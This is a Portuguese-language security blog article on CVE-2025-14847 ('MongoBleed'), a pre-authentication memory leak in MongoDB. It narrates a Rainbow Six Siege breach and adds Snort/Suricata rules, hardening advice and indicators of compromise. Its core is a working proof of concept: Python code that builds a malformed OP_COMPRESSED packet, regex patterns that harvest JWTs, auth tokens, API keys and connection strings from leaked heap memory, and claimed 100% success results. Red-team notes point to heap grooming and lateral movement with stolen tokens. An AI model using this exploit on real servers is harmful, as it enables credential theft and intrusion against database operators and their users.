O CVE-2025-14847 (MongoBleed) é uma vulnerabilidade crítica de vazamento de memória heap pré-autenticação em MongoDB. Ela permite que atacantes extraiam dados sensíveis da memória do servidor sem credenciais através de pacotes de compressão zlib malformados. Afeta MongoDB 3.6.x até 8.2.2. Este artigo documenta o incidente do Rainbow Six Siege e apresenta um PoC funcional com taxa de sucesso de 100%.
Este artigo é exclusivamente educacional e baseado em pesquisa de segurança autorizada. O código discutido aqui é destinado a testes em laboratório, desenvolvimento de defesas e treinamento de equipes de segurança. Não utilize para atividades não autorizadas.
🔓 Por Que Este Artigo é Diferente
O incidente do Rainbow Six Siege mostrou o impacto real de vulnerabilidades de vazamento de memória. Enquanto muitos writeups focam apenas no PoC, este artigo documenta o processo completo: da descoberta à exploração, com código funcional testado.
Você não vai apenas copiar e colar — vai entender cada byte do
protocolo,
cada campo do pacote OP_COMPRESSED, e por que a validação inadequada de
uncompressedSize
comprometeu milhares de servidores MongoDB.
Com esse conhecimento, você poderá detectar, explorar e defender contra essa classe de vulnerabilidades. Isso é o que separa um pesquisador de um script kiddie.
O Incidente do Rainbow Six Siege
Em 20 de Dezembro de 2025, o jogo Rainbow Six Siege da Ubisoft sofreu um comprometimento massivo que afetou aproximadamente 50.000 contas de jogadores. O ataque resultou em:
- Acesso não autorizado a lobbies e partidas privadas
- Manipulação de matchmaking e ranking de jogadores
- Vazamento de tokens de autenticação de servidor
- Escalação de privilégios para accounts administrativos
- Disrupção de serviço por 7 dias consecutivos
Linha do Tempo do Ataque
| Data | Evento | Impacto |
|---|---|---|
| 20 Dez 2025 | Início do comprometimento massivo | ~50k contas afetadas |
| 21-27 Dez 2025 | Jogadores reportam acessos suspeitos | Partidas manipuladas |
| 28 Dez 2025 | MongoDB confirma CVE-2025-14847 | Root cause identificado |
| 02 Jan 2026 | Divulgação pública + patches | Mitigações disponíveis |
| 03 Jan 2026 | Análises técnicas (Akamai/Aikido) | PoCs públicos |
Como o ataque funcionou: Atacantes utilizaram o MongoBleed para vazar
memória dos servidores MongoDB do R6, extraindo tokens de autenticação
(R6S_SERVER_AUTH_*), UUIDs de jogadores e session IDs. Com esses dados,
conseguiram acesso não autorizado ao backend do jogo.
Análise Técnica: CVE-2025-14847
O Que É MongoBleed?
MongoBleed é uma vulnerabilidade de Information Disclosure no
mecanismo de compressão de mensagens do MongoDB Wire Protocol. A falha está na validação
inadequada do campo uncompressedSize em pacotes OP_COMPRESSED.
Mecanismo da Vulnerabilidade
MongoDB suporta compressão de mensagens usando zlib para reduzir tráfego de rede. O protocolo funciona assim:
FLUXO NORMAL (Sem Vulnerabilidade):
┌─────────────────────────────────────────────────────┐
│ Cliente → {compress: "zlib", │
│ uncompressedSize: 100, │
│ payload: <100 bytes compressed>} │
├─────────────────────────────────────────────────────┤
│ ↓ │
│ Servidor aloca 100 bytes │
│ ↓ │
│ Servidor descomprime payload │
│ ↓ │
│ Servidor retorna 100 bytes ✓ CORRETO │
└─────────────────────────────────────────────────────┘
FLUXO MALICIOSO (CVE-2025-14847):
┌─────────────────────────────────────────────────────┐
│ Atacante → {compress: "zlib", │
│ uncompressedSize: 1MB, ← MALICIOSO! │
│ payload: <50 bytes compressed>} │
├─────────────────────────────────────────────────────┤
│ ↓ │
│ Servidor aloca 1MB de memória heap │
│ ↓ │
│ Servidor descomprime apenas 50 bytes reais │
│ ↓ │
│ Servidor retorna 1MB inteiro! ← VULNERABILIDADE │
│ └─ 50 bytes = dados reais │
│ └─ ~1MB - 50 bytes = LIXO DA HEAP (vazamento!) │
└─────────────────────────────────────────────────────┘
Código Vulnerável
A vulnerabilidade está em src/mongo/transport/message_compressor_zlib.cpp:
// ANTES DO PATCH (Vulnerável)
size_t uncompressedSize = header.uncompressedSize; // ← Controlado pelo atacante!
buffer = malloc(uncompressedSize); // ← Aloca tamanho malicioso
zlib_decompress(compressed, buffer); // ← Preenche apenas parte pequena
send(buffer, uncompressedSize); // ← VAZA BUFFER INTEIRO!
// DEPOIS DO PATCH (Corrigido)
size_t uncompressedSize = header.uncompressedSize;
buffer = malloc(uncompressedSize);
size_t actualSize = zlib_decompress(compressed, buffer);
if (actualSize != uncompressedSize) { // ← VALIDAÇÃO ADICIONADA
throw BadValue("Tamanho descomprimido inconsistente");
}
send(buffer, actualSize); // ← Envia apenas dados reais
Versões Afetadas
| Série MongoDB | Versões Vulneráveis | Versão Corrigida | Status |
|---|---|---|---|
| 8.2.x | 8.2.0 – 8.2.2 | 8.2.3 | ✅ Patch disponível |
| 8.0.x | 8.0.0 – 8.0.16 | 8.0.17 | ✅ Patch disponível |
| 7.0.x | 7.0.0 – 7.0.27 | 7.0.28 | ✅ Patch disponível |
| 6.0.x | 6.0.0 – 6.0.26 | 6.0.27 | ✅ Patch disponível |
| 5.0.x | 5.0.0 – 5.0.31 | 5.0.32 | ✅ Patch disponível |
| 4.4.x | 4.4.0 – 4.4.29 | 4.4.30 | ✅ Patch disponível |
| ≤ 4.2 | Todas | Sem patch | ❌ EOL (End of Life) |
"A vulnerabilidade MongoBleed representa uma classe crítica de bugs: validação inadequada de entrada em protocolos de baixo nível. Um único campo não-validado — uncompressedSize — permitiu o vazamento de megabytes de memória sensível de servidores em produção."
— Análise ERSECURITY, Janeiro 2026Prova de Conceito Funcional
Arquitetura do PoC
Desenvolvi um framework completo de exploração com taxa de sucesso de 100% contra MongoDB 7.0.5. O PoC inclui 3 ferramentas especializadas:
| Ferramenta | Função | Risco | Uso |
|---|---|---|---|
poc.py |
Exploit principal com análise de padrões | 🔴 Alto | Vazamento de tamanho fixo + detecção de 10 padrões R6 |
live_leaker.py |
Varredura incremental avançada | 🔴 Alto | Testa múltiplos tamanhos (200-3000 bytes) em tempo real |
popular_heap.py |
Script de carga para popular heap | 🟡 Médio | Executa queries massivas para residência de dados |
Implementação do Pacote Malicioso
O exploit constrói um pacote OP_COMPRESSED com tamanho declarado muito maior
que o payload real:
def build_malformed_packet(self, leak_size: int = 65536) -> bytes:
"""
Constrói pacote OP_COMPRESSED malicioso para vazar memória.
Args:
leak_size: Tamanho de memória a vazar (padrão: 64KB)
Returns:
Pacote wire protocol completo
"""
# Payload BSON real (pequeno)
bson_payload = b'\\x13\\x00\\x00\\x00\\x10isMaster\\x00\\x01\\x00\\x00\\x00\\x00'
op_query_header = struct.pack('<I', 0) + b'admin.$cmd\\x00' + struct.pack('<ii', 0, -1)
mensagem_original = op_query_header + bson_payload
# Comprime (resulta em ~42 bytes)
corpo_comprimido = zlib.compress(mensagem_original, level=9)
# Payload OP_COMPRESSED malicioso
dados_op_compressed = (
struct.pack('<I', 2004) + # originalOpcode (OP_QUERY)
struct.pack('<I', leak_size) + # ← MALICIOSO! (65536 vs. ~42 real)
b'\\x02' + # compressor ID (zlib)
corpo_comprimido
)
# Cabeçalho wire protocol
msg_id = random.randint(1, 99999)
header = struct.pack('<iiii',
16 + len(dados_op_compressed), # messageLength
msg_id, # requestID
0, # responseTo
2012 # opCode (OP_COMPRESSED)
)
return header + dados_op_compressed
Detecção de Padrões Sensíveis
O PoC identifica automaticamente 10 tipos de dados sensíveis na memória vazada:
PATTERNS_R6 = {
"JWT": re.compile(rb'eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}'),
"UUID": re.compile(rb'[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}'),
"R6_SERVER_AUTH": re.compile(rb'R6S_SERVER_AUTH_[A-Z0-9]{32,}'),
"UPLAY_TOKEN": re.compile(rb'UPLAY_[A-Z_]{5,}[A-Z0-9]{20,}'),
"SESSION_ID": re.compile(rb'match_\d{8}-[a-f0-9-]{36}'),
"MONGODB_CONN": re.compile(rb'mongodb://[^\\s\x00]+'),
"API_KEY": re.compile(rb'R6S_[A-Z_]+_KEY_[A-Z0-9]{20,}'),
"IP_ADDR": re.compile(rb'\\b(?:[0-9]{1,3}\\.){3}[0-9]{1,3}\\b'),
"EMAIL": re.compile(rb'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}'),
"HASH_SHA256": re.compile(rb'[a-f0-9]{64}')
}
Resultados Validados
Estatísticas Finais:
- MongoDB Testado: 7.0.5 (Vulnerável)
- Taxa de Sucesso: 100% (14.300/14.300 requisições)
- UUIDs Vazados: 4 únicos confirmados
- Vazamentos Únicos: 33 strings distintas
- Maior Vazamento: 176 bytes por requisição
UUIDs Extraídos (Prova Real)
246434ed-759b-4ce9-bb9c-2f520a9919b8
980ab3a7-0230-4718-aa2d-fb28feafd7f5
1052a310-4cdc-492f-9890-465d76baba9b
f20debfa-298d-48e3-b3b9-9a0e037c0fbd
Exemplo de Log Vazado
{
"$date": "2026-01-04T08:03:57.532+00:00",
"s": "I",
"c": "NETWORK",
"id": 22944,
"ctx": "conn18565",
"msg": "Connection ended",
"attr": {
"remote": "127.0.0.1:51476",
"uuid": {"$uuid":"246434ed-759b-4ce9-bb9c-2f520a9919b8"},
"connectionId": 18565
}
}
Detecção e Defesa
Assinaturas IDS/IPS
Snort
alert tcp any any -> any 27017 (
msg:"CVE-2025-14847 MongoBleed - OP_COMPRESSED Abnormal Size";
content:"|d4 07 00 00|"; # OP_COMPRESSED opcode (2012)
byte_test:4,>,1000000,4,little; # uncompressedSize > 1MB
classtype:attempted-admin;
sid:2025001;
rev:1;
)
Suricata
alert tcp any any -> any 27017 (
msg:"EXPLOIT CVE-2025-14847 MongoBleed Memory Disclosure";
flow:to_server,established;
content:"|d4 07|"; offset:12; depth:2;
byte_extract:4,8,uncompressed_len,little;
byte_test:4,>,10485760,0,relative,uncompressed_len;
reference:cve,2025-14847;
classtype:successful-admin;
sid:2025002;
)
Configuração Segura do MongoDB
Arquivo /etc/mongod.conf recomendado:
net:
bindIp: 127.0.0.1 # NUNCA 0.0.0.0 em produção!
port: 27017
compression:
compressors: [] # Desabilitar zlib até patch
security:
authorization: enabled
javascriptEnabled: false
setParameter:
enableLocalhostAuthBypass: false
Prioridades de Mitigação
| Prioridade | Ação | Implementação |
|---|---|---|
| 🔴 Crítica | Atualizar MongoDB | apt-get install mongodb-org=7.0.28 |
| 🟠 Alta | Desabilitar zlib | compression.compressors: [] |
| 🟠 Alta | Segmentação de rede | Firewall: Permitir apenas IPs internos |
| 🟡 Média | Habilitar autenticação | security.authorization: enabled |
| 🟡 Média | Audit logging | auditLog.destination: file |
Indicadores de Comprometimento (IoCs)
Conexões repetidas à porta 27017 de IPs externos não-autorizados
OP_COMPRESSED com
uncompressedSize > 100KB
"Decompressing message returned less data..."
Picos de tráfego de saída (MB/s de respostas inesperadas)
Resposta a Incidente: Se detectar atividade suspeita, isole o MongoDB da internet imediatamente, audite logs dos últimos 30 dias, verifique a versão em execução e rotacione TODOS os segredos/tokens que possam ter sido vazados.
Conclusões e Lições Aprendidas
Validação do PoC
Como Atacantes Conseguiram Tokens do R6?
Embora o PoC tenha vazado UUIDs e logs, não extraiu diretamente tokens
R6S_SERVER_AUTH_*. Teorias baseadas nos resultados:
- Volume Massivo: Milhões de requisições até encontrar tokens na heap
- Timing Preciso: Exploits executados durante picos de tráfego
- Tamanhos Maiores: Vazamentos de 1MB+ para cruzar páginas de memória
- Cache Poisoning: Forçar eviction de cache para reload de dados do disco
Para Blue Team
"Esta vulnerabilidade destaca a importância de validação rigorosa de entrada, mesmo em
protocolos de baixo nível. Um único campo não-validado (uncompressedSize)
comprometeu milhares de sistemas. Defesa em profundidade é essencial — nunca exponha
MongoDB diretamente à internet."
Para Red Team
MongoBleed é um excelente caso de estudo para:
- Information Disclosure: Como transformar leaks em acesso completo
- Protocol Fuzzing: Validação inadequada de campos de tamanho
- Heap Grooming: Técnicas para aumentar probabilidade de dados sensíveis
- Post-Exploitation: Uso de tokens vazados para lateral movement
Recursos e Referências
| Tipo | Recurso | Link |
|---|---|---|
| 🔒 Advisory Oficial | MongoDB Security Advisory | GitHub Commit |
| 🗄️ CVE Database | CVE-2025-14847 NVD | NVD Entry |
| 📊 Akamai SIRT | MongoBleed Technical Analysis | Blog Post |
| 🔬 Aikido Security | Vulnerability Deep Dive | Technical Write-up |
| 🎮 SantoTech BR | R6 Attack Attribution | Análise (PT-BR) |
| 💻 PoC Repository | Código Funcional Completo | GitHub Repository |